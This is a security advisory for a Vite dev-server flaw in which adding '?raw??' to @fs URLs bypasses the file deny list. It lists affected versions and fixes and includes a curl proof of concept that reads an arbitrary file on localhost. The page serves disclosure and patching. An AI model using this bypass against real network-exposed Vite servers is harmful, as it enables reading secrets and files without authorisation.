Vite bypasses server.fs.deny when using ?raw??
Published 25 Mar 2025 · Updated 10 Sept 2026
Affected packages
- Affected
- >=6.2.0 <6.2.3
- Fixed in
- 6.2.3
npm install vite@6.2.3- Affected
- >=6.1.0 <6.1.2
- Fixed in
- 6.1.2
npm install vite@6.1.2- Affected
- >=6.0.0 <6.0.12
- Fixed in
- 6.0.12
npm install vite@6.0.12- Affected
- >=5.0.0 <5.4.15
- Fixed in
- 5.4.15
npm install vite@5.4.15- Affected
- <4.5.10
- Fixed in
- 4.5.10
npm install vite@4.5.10Details
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or `server.host` config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...Is GHSA-x574-m823-4x7w in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vite, and gives you the command that fixes it.
References
- Linkgithub.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
- Advisorynvd.nist.gov/vuln/detail/CVE-2025-30208
- Linkgithub.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4
- Linkgithub.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c
- Linkgithub.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41
- Linkgithub.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca
- Linkgithub.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1
- Packagegithub.com/vitejs/vite
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.